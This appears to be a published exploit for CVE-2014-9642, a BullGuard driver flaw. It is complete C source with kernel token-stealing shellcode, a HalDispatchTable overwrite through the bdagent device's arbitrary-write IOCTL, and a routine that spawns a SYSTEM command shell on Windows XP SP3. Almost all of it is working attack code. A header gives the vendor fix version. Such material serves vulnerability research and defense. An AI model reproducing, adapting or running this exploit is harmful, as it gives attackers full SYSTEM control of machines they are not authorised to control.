BullGuard 14.1.285.4 Privilege Escalation

`/*  
  
Exploit Title - BullGuard Multiple Products Arbitrary Write Privilege Escalation  
Date - 04th February 2015  
Discovered by - Parvez Anwar (@parvezghh)  
Vendor Homepage - http://www.bullguard.com/  
Tested Version - 14.1.285.4  
Driver Version - 1.0.0.6 - BdAgent.sys  
Tested on OS - 32bit Windows XP SP3  
OSVDB - http://www.osvdb.org/show/osvdb/114478  
CVE ID - CVE-2014-9642  
Vendor fix url - http://www.bullguard.com/about/release-notes.aspx  
Fixed Version - 15.0.288.1  
Fixed driver ver - 1.0.0.7  
  
  
  
Note  
----  
Overwritten HAL dispatch table after exploit  
  
kd> dps nt!HalDispatchTable l c  
8054ccb8 00000003  
8054ccbc 00340000  
8054ccc0 00010000  
8054ccc4 0a060002  
8054ccc8 ee657645  
8054cccc 00000001  
8054ccd0 00000001  
8054ccd4 867c1bf0  
8054ccd8 80613f7b nt!IoSetPartitionInformation  
8054ccdc 806141ef nt!IoWritePartitionTable  
8054cce0 8052d157 nt!CcHasInactiveViews  
8054cce4 804e42d1 nt!ObpTraceDepth+0x19  
  
7 pointers get overwritten. Since input buffer is in our control and pointers  
are static in XP I've triggered the overwrite again restoring the pointers.  
  
*/  
  
  
#include <stdio.h>  
#include <windows.h>  
  
#define BUFSIZE 4096  
  
  
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {  
PVOID Unknown1;  
PVOID Unknown2;  
PVOID Base;  
ULONG Size;  
ULONG Flags;  
USHORT Index;  
USHORT NameLength;  
USHORT LoadCount;  
USHORT PathLength;  
CHAR ImageName[256];  
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;  
  
typedef struct _SYSTEM_MODULE_INFORMATION {  
ULONG Count;  
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];  
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;  
  
typedef enum _SYSTEM_INFORMATION_CLASS {  
SystemModuleInformation = 11,  
SystemHandleInformation = 16  
} SYSTEM_INFORMATION_CLASS;  
  
typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(  
SYSTEM_INFORMATION_CLASS SystemInformationClass,  
PVOID SystemInformation,  
ULONG SystemInformationLength,  
PULONG ReturnLength);  
  
typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(  
DWORD ProfileSource,  
PULONG Interval);  
  
typedef void (*FUNCTPTR)();  
  
  
  
// Windows XP SP3  
  
#define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct  
#define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct  
#define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct  
#define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct  
  
  
BYTE token_steal_xp[] =  
{  
0x52, // push edx Save edx on the stack  
0x53, // push ebx Save ebx on the stack  
0x33,0xc0, // xor eax, eax eax = 0  
0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD  
0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS  
0x8b,0xc8, // mov ecx, eax  
0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN  
0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks  
0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks  
0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process)  
0x75,0xe8, // jne ----  
0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX  
0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX  
0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS  
0x5b, // pop ebx Restores ebx  
0x5a, // pop edx Restores edx  
0xc2,0x08 // ret 8 Away from the kernel   
};  
  
  
  
BYTE restore_pointers_xp[] = // kd> dps nt!HalDispatchTable  
"\xf2\xa3\x6f\x80" // 8054ccbc 806fa3f2 hal!HaliQuerySystemInformation  
"\xce\xa3\x6f\x80" // 8054ccc0 806fa3ce hal!HaliSetSystemInformation  
"\x0b\x46\x61\x80" // 8054ccc4 8061460b nt!xHalQueryBusSlots  
"\x00\x00\x00\x00" // 8054ccc8 00000000  
"\x4d\xac\x50\x80" // 8054cccc 8050ac4d nt!HalExamineMBR  
"\x89\x6f\x5c\x80" // 8054ccd0 805c6f89 nt!IoAssignDriveLetters  
"\xe5\x4a\x5c\x80"; // 8054ccd4 805c4ae5 nt!IoReadPartitionTable  
  
  
  
DWORD HalDispatchTableAddress()  
{  
_NtQuerySystemInformation NtQuerySystemInformation;  
PSYSTEM_MODULE_INFORMATION pModuleInfo;  
DWORD HalDispatchTable;  
CHAR kFullName[256];  
PVOID kBase = NULL;  
LPSTR kName;  
HMODULE Kernel;  
FUNCTPTR Hal;  
ULONG len;  
NTSTATUS status;  
  
  
NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");  
  
if (!NtQuerySystemInformation)  
{  
printf("[-] Unable to resolve NtQuerySystemInformation\n\n");  
return -1;   
}  
  
status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);  
  
if (!status)  
{  
printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status);  
return -1;  
}  
  
pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);  
  
if(pModuleInfo == NULL)  
{  
printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n");  
return -1;  
}  
  
status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);  
  
memset(kFullName, 0x00, sizeof(kFullName));  
strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);  
kBase = pModuleInfo->Module[0].Base;  
  
printf("[i] Kernel base name %s\n", kFullName);  
kName = strrchr(kFullName, '\\');  
  
Kernel = LoadLibraryA(++kName);  
  
if(Kernel == NULL)  
{  
printf("[-] Failed to load kernel base\n\n");  
return -1;  
}  
  
Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");  
  
if(Hal == NULL)  
{  
printf("[-] Failed to find HalDispatchTable\n\n");  
return -1;  
}  
  
printf("[i] HalDispatchTable address 0x%08x\n", Hal);   
printf("[i] Kernel handle 0x%08x\n", Kernel);  
printf("[i] Kernel base address 0x%08x\n", kBase);   
  
HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);  
  
printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable);  
  
if(!HalDispatchTable)  
{  
printf("[-] Failed to calculate HalDispatchTable\n\n");  
return -1;  
}  
  
return HalDispatchTable;  
}  
  
  
int GetWindowsVersion()  
{  
int v = 0;  
DWORD version = 0, minVersion = 0, majVersion = 0;  
  
version = GetVersion();  
  
minVersion = (DWORD)(HIBYTE(LOWORD(version)));  
majVersion = (DWORD)(LOBYTE(LOWORD(version)));  
  
if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP;  
if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7";  
if (minVersion == 2 && majVersion == 5) v = 3; // "Windows Server 2003;  
  
return v;  
}  
  
  
void spawnShell()  
{  
STARTUPINFOA si;  
PROCESS_INFORMATION pi;  
  
  
ZeroMemory(&pi, sizeof(pi));  
ZeroMemory(&si, sizeof(si));  
si.cb = sizeof(si);  
  
si.cb = sizeof(si);  
si.dwFlags = STARTF_USESHOWWINDOW;  
si.wShowWindow = SW_SHOWNORMAL;  
  
if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))  
{  
printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());  
return;  
}  
  
CloseHandle(pi.hThread);  
CloseHandle(pi.hProcess);  
}  
  
  
int main(int argc, char *argv[])  
{  
  
_NtQueryIntervalProfile NtQueryIntervalProfile;  
LPVOID input[1] = {0};   
LPVOID addrtoshell;  
HANDLE hDevice;  
DWORD dwRetBytes = 0;  
DWORD HalDispatchTableTarget;   
ULONG time = 0;  
unsigned char devhandle[MAX_PATH];  
  
  
printf("-------------------------------------------------------------------------------\n");  
printf(" BullGuard Multiple Products (bdagent.sys) Arbitrary Write EoP Exploit \n");  
printf(" Tested on Windows XP SP3 (32bit) \n");  
printf("-------------------------------------------------------------------------------\n\n");  
  
if (GetWindowsVersion() == 1)  
{  
printf("[i] Running Windows XP\n");  
}  
  
if (GetWindowsVersion() == 0)  
{  
printf("[i] Exploit not supported on this OS\n\n");  
return -1;  
}   
  
sprintf(devhandle, "\\\\.\\%s", "bdagent");  
  
NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");  
  
if (!NtQueryIntervalProfile)  
{  
printf("[-] Unable to resolve NtQueryIntervalProfile\n\n");  
return -1;   
}  
  
addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  
  
if(addrtoshell == NULL)  
{  
printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());  
return -1;  
}  
printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell);  
  
memset(addrtoshell, 0x90, BUFSIZE);  
memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp));  
printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));  
  
hDevice = CreateFile(devhandle, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);  
  
if (hDevice == INVALID_HANDLE_VALUE)  
{  
printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());  
return -1;  
}  
else  
{  
printf("[+] Open %s device successful\n", devhandle);  
}  
  
HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);  
printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget);  
  
input[0] = addrtoshell; // input buffer contents gets written to our output buffer address  
  
printf("[+] Input buffer contents %08x\n", input[0]);  
  
printf("[~] Press any key to send Exploit . . .\n");  
getch();  
  
DeviceIoControl(hDevice, 0x0022405c, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);  
  
printf("[+] Buffer sent\n");  
  
printf("[+] Spawning SYSTEM Shell\n");  
NtQueryIntervalProfile(2, &time);  
spawnShell();  
  
printf("[+] Restoring Hal dispatch table pointers\n\n");  
  
DeviceIoControl(hDevice, 0x0022405c, restore_pointers_xp, sizeof(restore_pointers_xp)-1, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);  
  
CloseHandle(hDevice);  
  
return 0;  
}  
  
`